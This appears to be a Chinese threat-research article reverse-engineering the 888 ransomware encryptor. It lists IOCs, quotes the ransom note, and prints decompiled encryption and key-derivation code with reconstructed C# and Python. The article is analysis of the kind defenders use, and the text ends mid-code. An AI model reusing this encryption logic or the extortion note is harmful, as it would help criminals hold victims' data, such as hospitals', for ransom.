问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
【病毒分析】888勒索家族再出手!幕后加密器深度剖析
漏洞分析
1.背景 2025年3月,Solar应急响应团队成功捕获了888勒索家族的加密器样本。实际上,我们最早接触该家族是在2024年10月,彼时888家族活跃度极高,频繁针对医疗行业发起攻击,受害对象以药店、医...
1.背景 ==== 2025年3月,Solar应急响应团队成功捕获了**888勒索家族**的加密器样本。实际上,我们最早接触该家族是在**2024年10月**,彼时888家族活跃度极高,频繁针对**医疗行业**发起攻击,受害对象以**药店、医院等医疗机构**为主。 在攻击方式上,888家族主要通过**MSSQL数据库弱口令爆破**实现初始入侵,成功获取权限后,将自制的加密器投放至服务器路径中的**Music\\misc目录**,以隐藏其恶意文件,随后迅速对服务器内的重要数据实施加密勒索。 **1.1 加密器特征** ------------- 该勒索家族较为狡猾,通过ping空地址绕过本地安全机制监测最终实现自删除。  加密器启动后运行的命令行指令 在成功加密后,桌面上会生成名为“!RESTORE\_FILES!.txt”的勒索信,要求受害者将信内ID发到下方的邮箱中,以取得初步联系获得赎金报价。  勒索信  被加密后的目录 **1.2 攻击链路与IOC** ---------------- 888勒索家族惯用的手段是通过数据库对外暴露入口弱口令入侵数据库,并在数据执行提权操作,获取高权限账户或将木马加载到受害者设备,随后再进行加密器的加载运行。  **1.3 IOC** ----------- | **详细信息** | **类型** | **关联文件/主机/备注** | |---|---|---| | d15ab1e89fc94d9b4dff7cb5b8d392eca74a0a65 | Sha1 | netpass64.exe | | 7ab128659ad586761ea68009d59a1ccf1547a039 | Sha1 | netpass64.exe | | 8b0e4650f1a7080b78066a61152e571ca8b6816b | Sha1 | svchost.exe | | 86803bbc26ed08e863ab17c765577a74637afaa7 | Sha1 | svchost.exe | | a0bdfac3ce1880b32ff9b696458327ce352e3b1d | Sha1 | processhacker.exe | | 729fd507a1118b2d9008a097b7330c52760ceb9e | Sha1 | processhacker.exe | | 31.43.176.57 | IP | 波兰 | | 36.152.235.38 | IP | 中国 江苏省 徐州市 | | 185.132.176.32 | IP | 荷兰 南荷兰省 纳尔德韦克 | | 58.211.56.222 | IP | 中国 江苏省 苏州市 | | <nemesis@888recover.4wrd.cc> | Mail\_addr | 勒索邮箱 | | <nemesissupport@firemail.cc> | Mail\_addr | 勒索邮箱 | | !RESTORE\_FILES!.txt | File | 勒索信文件名 | | .888 | Suffix | 勒索后缀名 | **2.恶意文件基础信息** ============== **2.1 恶意文件基本信息** ---------------- | 文件名 | svchost.exe | |---|---| | 编译器 | Microsoft Visual C/C++(19.36.33923)\[C++\] | | 大小 | 2.43 MB | | 操作系统 | Windows(Vista)\[AMD64, 64位, GUI\] | | 模式 | 64 位 | | 类型 | EXEC | | 字节序 | LE | | MD5 | 5315bdbf85ad2b3bb13ae8ee62489f7f | | SHA1 | 8b0e4650f1a7080b78066a61152e571ca8b6816b | | SHA256 | dee0fde2d096c79e138890f958b9440e87cce38504b654a97de50bb7969a9c98 | **2.2 勒索信** ----------- +----------------------------------------------------------------------------+ | !!!ALL YOUR FILES ARE ENCRYPTED, AS A RESULT OF A BREACH IN SECURITY!!! | +----------------------------------------------------------------------------+ No worries - you can get them back! It's impossible to decrypt without contacting us. +----------------------------------------------------------------------------+ | !!!DON'T TRY TO CHANGE ENCRYPTED FILES!!! | | !!!DON'T RENAME ENCRYPTED FILES!!! | | !!!DON'T USE ADDITIONAL RECOVERY SOFTWARE!!! | | !!!IT WILL MAKE THEM IMPOSSIBLE TO DECRYPT!!! | +----------------------------------------------------------------------------+ How to return all your data back in safe: 1\. Copy and sent us your KEY. 2\. We can decrypt 2 small files, no databases (.jpg, .txt, .doc, ets.. (up to 3mb)) as your warranty. 3\. After payment, you will receive a special software for decryption. \----------------------------------------------------------------------------------------------------------------- KEY: \----------------------------------------------------------------------------------------------------------------- EMAILS: nemesis@888recover.4wrd.cc nemesissupport@firemail.cc Zero cheats, all integrity. **3.加密后文件分析** ============= **3.1威胁分析** ----------- | **病毒家族** | 888 | |---|---| | **首次出现时间/捕获分析时间** | 2024/10/19 \| 2025/03/27 | | **威胁类型** | 勒索软件,加密病毒 | | **加密文件扩展名** | .888 | | **勒索信文件名** | !RESTORE\_FILES!.txt | | **有无免费解密器?** | 无 | | **联系邮箱** | <nemesis@888recover.4wrd.cc> | | **感染症状** | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.888)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 | | **感染方式** | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 | | **受灾影响** | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 | **3.2 加密的测试文件** --------------- ### **文件名** sierting.txt ### **具体内容:**   ### **加密文件名特征:** 加密文件名 = 原始文件名+888 ,例如:sierting.txt.888 ### **加密文件数据特征:**  ### **加密算法:** #### **AES密钥生成:** 通过随机生成的两个guid来生成key和iv ### **程序执行流程:**  **4.逆向分析** ========== **4.1加密器逆向分析** -------------- ### **勒索信密钥初始化** 初始化了几个常量如下 5FC92AFFB28BE14BD3A8B1843E9F8E8BB394A50F7E3E599D0316E97D8B98BEDF FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF .888 AC11CD9E6DA7311B9804D8EB421DB7EFEC8ABB7EACC999CA64F3C7A99686E826 !RESTORE\_FILES!.txt 9139F9BF04FB5ED3A8DF78E10110710C4134C2A37CBE912B6428B7FE19D22689 06FEECBAD923B75FA5B35A7A949C479AA67D838884BDA14963DC1903ACCD3E37 171C88018769B3D2B33D7065A162D3731ECEFB18A54054075A16614A468925B4 24AD21C4C3E2A430DF77EC0A190E2021976059732C696FADC61F62490E5EC202 B502B9C8546259BC27DAA82287C4ADA92A16B7A81665FAF9EFD20A4C3FD6233A A9C3ED26735E74CC8939D5D7875BC9AEC04E5A91607BE48E6897CB7A96E1170D 45AB92864D45D54123C980CD245B31ED37A6EDDDF952A342CC5D9CB777B3942E 查找同路径下是否存在p.txt文件,如果有,则读取,并将读取到的内容进行sha256哈希计算之后再进行base64编码,然后再将此文件移动到`C:\Windows\Temp\!wwwGdddf#.txt` \_\_int64 \_\_fastcall sub\_7FF643B1AF70(\_\_int64 a1, \_\_int64 a2) { \_\_int64 v4; // rax \_\_int64 v5; // rax \_\_int64 v6; // rax \_\_int64 v7; // rax if ( !(unsignedint)S\_P\_CoreLib\_System\_IO\_File\_\_Exists(a1) ) { if ( (unsignedint)S\_P\_CoreLib\_System\_IO\_File\_\_Exists(a2) ) { if ( \*(&qword\_7FF643BB5520 - 1) ) sub\_7FF643A11806(); v6 = read\_file(a2, \*(\_QWORD \*)(qword\_7FF643CDBB28 + 8)); v7 = sha256\_base64(v6); if ( v7 ) { if ( \*(\_DWORD \*)(v7 + 8) ) return v7; } } return0i64; } if ( (unsignedint)S\_P\_CoreLib\_System\_IO\_File\_\_Exists(a2) ) S\_P\_CoreLib\_System\_IO\_File\_\_Delete(a2); move\_file(a1, a2, 0); if ( \*(&qword\_7FF643BB5520 - 1) ) sub\_7FF643A11806(); v4 = read\_file(a2, \*(\_QWORD \*)(qword\_7FF643CDBB28 + 8)); v5 = sha256\_base64(v4); if ( !v5 || !\*(\_DWORD \*)(v5 + 8) ) return0i64; return v5; } 用于测试的p.txt的内容为sdjfpisjpdfajspfas\[pfpasjf计算后的结果为Yatspzm25UgfTLY0KDmz8Gi6SZVhA1tIk4HTqwpOBcs= 获取mac地址信息并转换为hex字符串 char \*\*sub\_7FF643B1C6C0() { char \*\*v0; // rbx \_\_int64 NetworkInterfaces; // rsi int v2; // edi int v3; // ebp \_\_int64 \*v4; // r14 \_\_int64 v5; // r15 \_\_int64 v6; // rcx \_\_int64 v7; // rax int v8; // edx \_\_int64 v9; // rax \_\_int64 v11; // \[rsp+28h\] \[rbp-40h\] BYREF \_\_int64 v12; // \[rsp+30h\] \[rbp-38h\] v11 = 0i64; v12 = 0i64; v0 = &off\_7FF643B92330; NetworkInterfaces = System\_Net\_NetworkInformation\_System\_Net\_NetworkInformation\_SystemNetworkInterface\_\_GetNetworkInterfaces(); v2 = 0; v3 = \*(\_DWORD \*)(NetworkInterfaces + 8); if ( v3 > 0 ) { do { v4 = \*(\_\_int64 \*\*)(NetworkInterfaces + 8i64 \* (unsignedint)v2 + 16); v5 = \*v4; if ( (\*(unsignedint (\_\_fastcall \*\*)(\_\_int64 \*))(\*v4 + 64))(v4) != 24 && (\*(unsignedint (\_\_fastcall \*\*)(\_\_int64 \*))(v5 + 48))(v4) == 1 ) { v6 = \*(\_QWORD \*)((\*(\_\_int64 (\_\_fastcall \*\*)(\_\_int64 \*))(v5 + 56))(v4) + 8); if ( v6 ) { v7 = v6 + 16; v8 = \*(\_DWORD \*)(v6 + 8); } else { v7 = 0i64; v8 = 0; } v11 = v7; LODWORD(v12) = v8; v9 = S\_P\_CoreLib\_System\_Convert\_\_ToHexString\_1(&v11); v0 = (char \*\*)String\_\_Concat\_5(v0, v9); } ++v2; } while ( v3 > v2 ); } return v0; } 获取计算机名称,截断字符串FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF的部分字节结果如下FC5A714EFBF1AE255D0071443A0D08FE,将其进行sha256计算之后再将刚刚获得的mac信息和计算机名称进行拼接,然后再计算sha256并编码为base64。最后得到如下结果 akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U= \_\_int64 sub\_7FF643B1C0E0() { \_\_int64 v0; // rbx \_\_int64 v1; // rsi \_\_int64 v2; // rax \_\_int64 v3; // rax \_\_int64 v4; // rax v0 = get\_mac(); v1 = get\_computer\_name(); if ( qword\_7FF643BB56F0\[-1\] ) sub\_7FF643A11BA6(); v2 = String\_\_Substring\_0(\*(\_QWORD \*)(qword\_7FF643CDBD68 + 16), 0i64, 32i64); v3 = sha256\_base64\_0(v2, 16); v4 = String\_\_Concat\_6(v0, v1, v3); return sha256\_base64\_0(v4, 32); } 首先将常量字符串FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF按照12个字符的顺序截取,首先是开头部分的FC5A714EFBF1,然后是AE255D007144,以此类推。最后再截取出末尾的字符3DBF。 接着再将前面计算得到的字符串akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U=用同样的方式计算。 \_\_int64 \_\_fastcall key\_init(\_\_int64 a1, unsigned int a2) { \_\_int64 v4; // rdi \_\_int64 v5; // rdx int v6; // ebp int v7; // r14d char \*\*v8; // rax \_\_int64 v9; // rcx \_\_int64 v10; // rdx v4 = RhpNewFast(&unk\_7FF643BCDCA0); RhpAssignRefAVLocation((unsigned \_\_int64 \*)(v4 + 8), \*(\_QWORD \*)(qword\_7FF643CDBE80 + 8)); v5 = 0i64; v6 = \*(\_DWORD \*)(a1 + 8); if ( v6 > 0 ) { do { v7 = v5 + a2; if ( (int)(v5 + a2) > v6 ) { v8 = String\_\_Substring(a1, v5); ++\*(\_DWORD \*)(v4 + 20); v9 = \*(\_QWORD \*)(v4 + 8); v10 = \*(unsignedint \*)(v4 + 16); if ( \*(\_DWORD \*)(v9 + 8) <= (unsignedint)v10 ) { LABEL\_6: S\_P\_CoreLib\_System\_Collections\_Generic\_List\_1\_System\_\_\_Canon\_\_\_AddWithResize(v4, v8); goto LABEL\_7; } } else { v8 = (char \*\*)String\_\_Substring\_0(a1, v5, a2); ++\*(\_DWORD \*)(v4 + 20); v9 = \*(\_QWORD \*)(v4 + 8); v10 = \*(unsignedint \*)(v4 + 16); if ( \*(\_DWORD \*)(v9 + 8) <= (unsignedint)v10 ) goto LABEL\_6; } \*(\_DWORD \*)(v4 + 16) = v10 + 1; RhpAssignRefAVLocation((unsigned \_\_int64 \*)(v9 + 8 \* v10 + 16), (unsigned \_\_int64)v8); LABEL\_7: v5 = (unsignedint)v7; } while ( v6 > v7 ); } return v4; } 最后通过如下方式计算出勒索信中显示的key:++2vAPZZAE255D007144akflLG7bFC5A714EFBF1P62WLtO53A0D08FE70B2nVbR+65Y5EDF3E6FA526XDpblwfcDE19F1F288111/U=3DBF def split\_string\_by\_segments(input\_str,segment\_length): segments = \[\] for i in range(0, len(input\_str) - 4, segment\_length): segment = input\_str\[i:i + segment\_length\] segments.append(segment) last\_segment = input\_str\[-4:\] segments.append(last\_segment) return segments str1 = "FC5A714EFBF1AE255D0071443A0D08FE70B2DE19F1F288115EDF3E6FA5263DBF"#常量字符串 result1 = split\_string\_by\_segments(str1,12) list1=\[\] for i, seg in enumerate(result1): list1.append(seg) str2 = "akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U="#通过计算机信息计算出来的hash result2 = split\_string\_by\_segments(str2,8) list2=\[\] for i, seg in enumerate(result2): list2.append(seg) print(list2\[1\]+list1\[1\]+list2\[0\]+list1\[0\]+list2\[2\]+list1\[2\]+list2\[4\]+list1\[4\]+list2\[3\]+list1\[3\]+list2\[5\]+list1\[5\]) 将通过mac和计算机名称计算得到的hash写入`C:\Windows\Temp\!wwkdsfdsfewt.txt` \_\_int64 \_\_fastcall sub\_7FF643AE6930( \_\_int64 a1, const void \*lpBuffer\_1, DWORD nNumberOfBytesToWrite\_1, DWORD \*lpNumberOfBytesWritten\_1, struct \_OVERLAPPED \*lpOverlapped) { void \*hFile\_1; // r14 unsignedint v9; // ebx DWORD LastError; // esi \_BYTE v12\[44\]; // \[rsp+28h\] \[rbp-A0h\] BYREF LPDWORD lpNumberOfBytesWritten; // \[rsp+54h\] \[rbp-74h\] LPCVOID lpBuffer; // \[rsp+5Ch\] \[rbp-6Ch\] HANDLE hFile; // \[rsp+64h\] \[rbp-64h\] DWORD nNumberOfBytesToWrite; // \[rsp+6Ch\] \[rbp-5Ch\] DWORD \*lpNumberOfBytesWritten\_2; // \[rsp+70h\] \[rbp-58h\] \_\_int128 v18; // \[rsp+78h\] \[rbp-50h\] BYREF v18 = 0i64; \*(\_QWORD \*)&v18 = a1; S\_P\_CoreLib\_System\_Runtime\_InteropServices\_SafeHandle\_\_DangerousAddRef(a1, (char \*)&v18 + 8); lpNumberOfBytesWritten\_2 = lpNumberOfBytesWritten\_1; hFile\_1 = \*(void \*\*)(v18 + 8); SetLastError(0); hFile = hFile\_1; lpBuffer = lpBuffer\_1; nNumberOfBytesToWrite = nNumberOfBytesToWrite\_1; lpNumberOfBytesWritten = lpNumberOfBytesWritten\_1; RhpPInvoke(v12); v9 = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); RhpPInvokeReturn(v12); LastError = GetLastError(); lpNumberOfBytesWritten\_2 = 0i64; if ( BYTE8(v18) ) S\_P\_CoreLib\_System\_Runtime\_InteropServices\_SafeHandle\_\_InternalRelease(v18, 0i64); \*(\_DWORD \*)(\_GetThreadStaticBase\_S\_P\_CoreLib\_Internal\_Runtime\_ThreadStatics\_9() + 168) = LastError; return v9; } ### **sha256\_base64函数** 对输入的字符串进行sha256哈希,然后根据输入的a2参数进行截断,最后将截断后的字符串进行base64编码 \_\_int64 \_\_fastcall sha256\_base64\_0(\_\_int64 a1, unsigned int a2) { \_\_int64 Bytes; // rsi \_\_int64 v5; // rdi \_\_int64 v6; // rsi \_\_int64 v7; // rdi \_\_int64 v8; // rbx \_\_int64 v10; // \[rsp+20h\] \[rbp-28h\] if ( \*(&qword\_7FF643BB5520 - 1) ) sub\_7FF643A11806(); Bytes = S\_P\_CoreLib\_System\_Text\_UTF8Encoding\_UTF8EncodingSealed\_\_GetBytes(\*(\_QWORD \*)(qword\_7FF643CDBB28 + 8), a1); v5 = RhpNewFast(&unk\_7FF643BC7D88); System\_Security\_Cryptography\_System\_Security\_Cryptography\_SHA256Managed\_\_\_ctor(v5); v10 = v5; v6 = sub\_7FF643AFB200(v5, Bytes); v7 = RhpNewArray(&unk\_7FF643BFE7C0, (int)a2); S\_P\_CoreLib\_System\_Array\_\_Copy\_1(v6, v7, a2); v8 = str\_to\_base64(v7); unk\_7FF643BB7AA0(v10); return v8; } ### **加密** 遍历文件,并排除以下目录  对文件名进行判断  如果包含以下文件名,就跳过 !RESTORE\_FILES!.txt svchost.exe bootmgr bootmgr.efi bootmgr.efi.mui bootmgr.exe bootmgr.exe.mui img\_\_\_XXX.jpg 接着判断后缀是否为.888,如果是,就跳过。 接着对进行计算并得到一个常量。 if ( v17 > 1 ) { do { if ( v15 ) { v18 = (char \*)v15 + 12; v19 = \*((\_DWORD \*)v15 + 2); } else { v18 = 0i64; v19 = 0; } LODWORD(v39) = \*(unsigned \_\_int16 \*)(v14 + 2i64 \* (unsignedint)v16 + 12); S\_P\_CoreLib\_System\_Globalization\_CultureInfo\_\_get\_CurrentCulture(); TextInfo = S\_P\_CoreLib\_System\_Globalization\_CultureInfo\_\_get\_TextInfo(); HIDWORD(v39) = S\_P\_CoreLib\_System\_Globalization\_TextInfo\_\_ToLower(TextInfo, (unsignedint)v39); \*(\_QWORD \*)&v38 = v18; DWORD2(v38) = v19; \*(\_QWORD \*)&v37 = (char \*)&v39 + 4; DWORD2(v37) = 1; v15 = (char \*\*)String\_\_Concat\_8(&v38, &v37); v16 += 2; } while ( v17 > v16 ); } 计算方式如下 byte\[\] byteArray ={ 0x32, 0x00, 0x34, 0x00, 0x41, 0x00, 0x44, 0x00, 0x32, 0x00, 0x31, 0x00, 0x43, 0x00, 0x34, 0x00, 0x43, 0x00, 0x33, 0x00, 0x45, 0x00, 0x32, 0x00, 0x41, 0x00, 0x34, 0x00, 0x33, 0x00, 0x30, 0x00, 0x44, 0x00, 0x46, 0x00, 0x37, 0x00, 0x37, 0x00, 0x45, 0x00, 0x43, 0x00, 0x30, 0x00, 0x41, 0x00, 0x31, 0x00, 0x39, 0x00, 0x30, 0x00, 0x45, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32, 0x00, 0x31, 0x00, 0x39, 0x00, 0x37, 0x00, 0x36, 0x00, 0x30, 0x00, 0x35, 0x00, 0x39, 0x00, 0x37, 0x00, 0x33, 0x00, 0x32, 0x00, 0x43, 0x00, 0x36, 0x00, 0x39, 0x00, 0x36, 0x00, 0x46, 0x00, 0x41, 0x00, 0x44, 0x00, 0x43, 0x00, 0x36, 0x00, 0x31, 0x00, 0x46, 0x00, 0x36, 0x00, 0x32, 0x00, 0x34, 0x00, 0x39, 0x00, 0x30, 0x00, 0x45, 0x00, 0x35, 0x00, 0x45, 0x00, 0x43, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32 }; string sum= ""; for (int i = 1; i \* 2 < byteArray.Length; i += 2) { sum+= (char)byteArray\[i \* 2\]; } 接着再根据输入的文件名进行计算 v21 = (unsigned \_\_int64 \*)RhpNewArray(&qword\_7FF643BFE520, 5i64); v22 = String\_\_Substring\_0(v35, 0i64, 8i64); RhpAssignRefAVLocation(v21 + 2, v22); RhpAssignRefAVLocation(v21 + 3, name\_no\_ext); RhpAssignRefAVLocation(v21 + 4, v12); v23 = String\_\_Substring(v35, (unsigned int)(\*(\_DWORD \*)(v35 + 8) - 8)); RhpAssignRefAVLocation(v21 + 5, (unsigned \_\_int64)v23); RhpAssignRefAVLocation(v21 + 6, a2); v24 = String\_\_Concat\_12((\_\_int64)v21); v25 = sha256\_base64\_0((\_\_int64)v24, 8); v26 = sha256\_base64\_0(name\_no\_ext, 16); v27 = (unsigned \_\_int64 \*)RhpNewArray(&qword\_7FF643BFE520, 5i64); RhpAssignRefAVLocation(v27 + 2, v26); v28 = String\_\_Substring(\*(\_QWORD \*)(v13 + 16), 32i64); v29 = sha256\_base64\_0((\_\_int64)v28, 32); RhpAssignRefAVLocation(v27 + 3, v29); RhpAssignRefAVLocation(v27 + 4, a2); v30 = String\_\_Substring(v35, (unsigned int)(\*(\_DWORD \*)(v35 + 8) - 10)); RhpAssignRefAVLocation(v27 + 5, (unsigned \_\_int64)v30); RhpAssignRefAVLocation(v27 + 6, (unsigned \_\_int64)v15); v31 = String\_\_Concat\_12((\_\_int64)v27); v32 = sha256\_base64\_0((\_\_int64)v31, 32); return String\_\_Concat\_6(v32, &off\_7FF643BAFBC0, v25); 首先计算v32,计算方法如 //Program.const\_str是输入的密钥文件sha256加密后再使用base64编码后的结果 string filename = Path.GetFileNameWithoutExtension(Path.GetFileName(encryptedFilePath)); string name = Path.GetFileNameWithoutExtension(filename); byte\[\] name\_sha256 = ComputeTruncatedHash(sha256, name, 16); string base\_name = Convert.ToBase64String(name\_sha256); string concat\_str0 = base\_name + "kJxdORYN/Ls2XC9oCqio+0ZY63esndX7jYcy4GGrLrI=" + Program.const\_str + "FE19D226894d143240f" + "7ca9e017093c9fd6f29ee22"; byte\[\] concat\_str0\_sha256 = ComputeTruncatedHash(sha256, concat\_str0, 32); string base\_concat\_str0 = Convert.ToBase64String(concat\_str0\_sha256); 接下来计算v25,计算方法如下 string input = "9139F9BF" + name + "B33D7065A162D3731ECEFB18A540540719D22689" + Program.const\_str; byte\[\] hash = ComputeTruncatedHash(sha256, input, 8); string input\_hash = Convert.ToBase64String(hash); 然后通过||将这个两个计算出来的字符串拼接在一起 接着随机生成两个guid guid1 = S\_P\_CoreLib\_System\_Guid\_\_ToString\_1((\_\_int64)&v66 + 8, (\_\_int64)&off\_7FF643BAD1D0, 0i64, v16); guid2 = S\_P\_CoreLib\_System\_Guid\_\_ToString\_1((\_\_int64)&v65, (\_\_int64)&off\_7FF643BAD1D0, 0i64, v17); v60 = sha256\_base64\_0(guid1, 32); v59 = sha256\_base64\_0(guid2, 32); v47 = sha256\_base64\_0(v13\[11\], 32); v18 = sha256\_base64\_0(v13\[11\], 32); v46 = String\_\_Substring(v47, (unsigned int)(\*(\_DWORD \*)(v18 + 8) - 12)); v19 = sha256\_base64\_0(v13\[13\], 32); v20 = String\_\_Substring\_0(v19, 0i64, 16i64); v58 = String\_\_Concat\_5(v46, v20); v45 = sha256\_base64\_0(v13\[13\], 32); v21 = sha256\_base64\_0(v13\[11\], 32); v44 = String\_\_Substring(v45, (unsigned int)(\*(\_DWORD \*)(v21 + 8) - 12)); v22 = sha256\_base64\_0(v13\[11\], 32); v23 = String\_\_Substring\_0(v22, 0i64, 16i64); v57 = String\_\_Concat\_5(v44, v23); v43 = sha256\_base64\_0(v13\[13\], 32); v24 = sha256\_base64\_0(v13\[11\], 32); v42 = String\_\_Substring(v43, (unsigned int)(\*(\_DWORD \*)(v24 + 8) - 16)); v41 = sha256\_base64\_0(FileNameFromPathBuffer, 16); v25 = sha256\_base64\_0(v13\[11\], 32); v40 = String\_\_Substring\_0(v25, 0i64, 12i64); v26 = String\_\_Substring(v13\[9\], (unsigned int)(\*(\_DWORD \*)(v13\[9\] + 8) - 16)); v56 = String\_\_Concat\_7(v42, v41, v40, v26); v39 = sha256\_base64\_0(v13\[11\], 32); v27 = sha256\_base64\_0(v13\[11\], 32); v38 = String\_\_Substring(v39, (unsigned int)(\*(\_DWORD \*)(v27 + 8) - 16)); v37 = sha256\_base64\_0(FileNameFromPathBuffer, 16); v28 = sha256\_base64\_0(v13\[13\], 32); v36 = String\_\_Substring\_0(v28, 0i64, 12i64); v29 = String\_\_Substring(v13\[10\], (unsigned int)(\*(\_DWORD \*)(v13\[10\] + 8) - 12)); v48 = String\_\_Concat\_7(v38, v37, v36, v29); v55 = sha256\_base64(v58); v54 = sha256\_base64(v57); v53 = sha256\_base64(v56); v52 = sha256\_base64(v48); v30 = String\_\_Concat\_6(\*(\_QWORD \*)(v6 + 16), v60, v59); v31 = sha256\_base64(v30); 还原后的代码如下 //随机生成的guid,这里使用固定值进行测试 string guid1 = "c6d47a10-0cf3-4d5c-a500-267db6a41545"; byte\[\] guid1\_byte = ComputeTruncatedHash(sha256, guid1, 32); string base\_guid1\_byte = Convert.ToBase64String(guid1\_byte); //随机生成的guid,这里使用固定值进行测试 string guid2 = "8184cff9-01c7-4f07-ac38-d80ed77d4b58"; byte\[\] guid2\_byte = ComputeTruncatedHash(sha256, guid2, 32); string base\_guid2\_byte = Convert.ToBase64String(guid2\_byte); byte\[\] hex4\_byte = ComputeTruncatedHash(sha256, hex4, 32); string base\_hex4\_byte = Convert.ToBase64String(hex4\_byte); byte\[\] hex5\_byte = ComputeTruncatedHash(sha256, hex5, 32); string base\_hex5\_byte = Convert.ToBase64String(hex5\_byte); string hex5\_hex4\_cat = hex4\_cat + base\_hex5\_byte.Substring(0, 16); string base\_hex5\_cat = base\_hex5\_byte.Substring(base\_concat\_str0.Length - 12, 12); string base\_hex4\_cat = base\_hex4\_byte.Substring(0, 16); string concat5 = base\_hex5\_cat + base\_hex4\_cat; //filename为文件名 byte\[\] filename\_byte = ComputeTruncatedHash(sha256, filename, 16); string base\_filename\_byte = Convert.ToBase64String(filename\_byte); string concat6 = "e9+zXBNtL8ALaRk=" + base\_filename\_byte + "IewroqVNVUV0" + "5A16614A468925B4"; string concat7 = "D8NSVR1FARLvFrc=" + base\_filename\_byte + "Q9584Xb6oe9J" + "62490E5EC202"; byte\[\] byte7 = ComputeTruncatedHash(sha256, "VR1FARLvFrc=Q9584Xb6oe9J5Vxk", 32); string base\_byte7 = Convert.ToBase64String(byte7); byte\[\] byte8 = ComputeTruncatedHash(sha256, "XBNtL8ALaRk=IewroqVNVUV0G/DZ", 32); string base\_byte8 = Convert.ToBase64String(byte8); byte\[\] filename\_concat\_byte\_sha256 = ComputeTruncatedHash(sha256, concat6, 32); string base\_filename\_concat\_byte\_sha256 = Convert.ToBase64String(filename\_concat\_byte\_sha256); byte\[\] filename\_concat2\_byte\_sha256 = ComputeTruncatedHash(sha256, concat7, 32); string base\_filename\_concat2\_byte\_sha256 = Convert.ToBase64String(filename\_concat2\_byte\_sha256); //上文通过mac信息和计算机名称计算得到的hash string const\_str = "akflLG7b++2vAPZZP62WLtO5XDpblwfcnVbR+65Y1/U="; string concat\_str = const\_str + base\_guid1\_byte + base\_guid2\_byte; byte\[\] concat\_str\_byte\_sha256 = ComputeTruncatedHash(sha256, concat\_str, 32); string base\_concat\_str\_byte\_sha256 = Convert.ToBase64String(concat\_str\_byte\_sha256); 然后再拼接生成salt和password string password= base\_concat\_str\_byte\_sha256 + base\_concat\_str0; string salt= input\_hash+ base\_guid2\_byte; 通过salt和password生成key和iv,然后再将待加密的数据末尾添加上时间,接着使用aes对文件进行加密 v42 = String\_\_Concat\_5(file\_ext, a5); sub\_7FF643ACBDA0(file\_ext, v42, 0); if ( \*(&qword\_7FF643BB5520 - 1) ) sub\_7FF643A11806(); v31 = qword\_7FF643CDBB28; Bytes = S\_P\_CoreLib\_System\_Text\_UTF8Encoding\_UTF8EncodingSealed\_\_GetBytes(\*(\_QWORD \*)(qword\_7FF643CDBB28 + 8), a3); if ( a4 && \*(\_DWORD \*)(a4 + 8) ) { v40 = S\_P\_CoreLib\_System\_Text\_UTF8Encoding\_UTF8EncodingSealed\_\_GetBytes(\*(\_QWORD \*)(v31 + 8), a4); } else { v16 = RhpNewArray(&unk\_7FF643BFE7C0, 16i64); \*(\_OWORD \*)(v16 + 16) = xmmword\_7FF643C3FAA0; v40 = v16; } v35 = sub\_7FF643A13B30(&unk\_7FF643BC2078); S\_P\_CoreLib\_System\_IO\_FileStream\_\_\_ctor\_13(v35, v42, 3, 3, 3, 4096, 0, 0i64); v32 = RhpNewFast(&unk\_7FF643BC73B0); System\_Security\_Cryptography\_System\_Security\_Cryptography\_Aes\_\_\_ctor(); (\*(void (\_\_fastcall \*\*)(\_\_int64, \_\_int64))(\*(\_QWORD \*)v32 + 112i64))(v17, 256i64); (\*(void (\_\_fastcall \*\*)(\_\_int64, \_\_int64))(\*(\_QWORD \*)v32 + 64i64))(v32, 128i64); if ( qword\_7FF643BB56F0\[-1\] ) sub\_7FF643A1132C(); v45 = qword\_7FF643BB56F0\[0\]; v34 = RhpNewFast(&unk\_7FF643BC7C70); System\_Security\_Cryptography\_System\_Security\_Cryptography\_Rfc2898DeriveBytes\_\_\_ctor\_7( v34, Bytes, v40, v45, (\_\_int64)&off\_7FF643BA93E0, 0); v18 = (\*(\_\_int64 (\_\_fastcall \*\*)(\_\_int64))(\*(\_QWORD \*)v32 + 104i64))(v32); v19 = System\_Security\_Cryptography\_System\_Security\_Cryptography\_Rfc2898DeriveBytes\_\_GetBytes( v34, (unsignedint)(v18 / 8)); (\*(void (\_\_fastcall \*\*)(\_\_int64, \_\_int64))(\*(\_QWORD \*)v32 + 96i64))(v32, v19); v20 = (\*(\_\_int64 (\_\_fastcall \*\*)(\_\_int64))(\*(\_QWORD \*)v32 + 56i64))(v32); v21 = System\_Security\_Cryptography\_System\_Security\_Cryptography\_Rfc2898DeriveBytes\_\_GetBytes( v34, (unsignedint)(v20 / 8)); (\*(void (\_\_fastcall \*\*)(\_\_int64, \_\_int64))(\*(\_QWORD \*)v32 + 80i64))(v32, v21); v37 = sub\_7FF643AF7900(v32); v22 = S\_P\_CoreLib\_System\_IO\_File\_\_GetLastWriteTime(v42); v23 = S\_P\_CoreLib\_System\_DateTimeFormat\_\_Format\_0(v22, &off\_7FF643BAD360, 0i64, 0x8000000000000000ui64); v36 = S\_P\_CoreLib\_System\_Text\_UTF8Encoding\_UTF8EncodingSealed\_\_GetBytes(\*(\_QWORD \*)(v31 + 8), v23); sub\_7FF643ACCEC0(v35, 0i64, 2i64); v44 = \*(\_DWORD \*)(v36 + 8); if ( (\*(unsignedint (\_\_fastcall \*\*)(\_QWORD))(\*\*(\_QWORD \*\*)(v35 + 16) + 240i64))(\*(\_QWORD \*)(v35 + 16)) ) sub\_7FF643A9D1D0(); (\*(void (\_\_fastcall \*\*)(\_QWORD, \_\_int64, 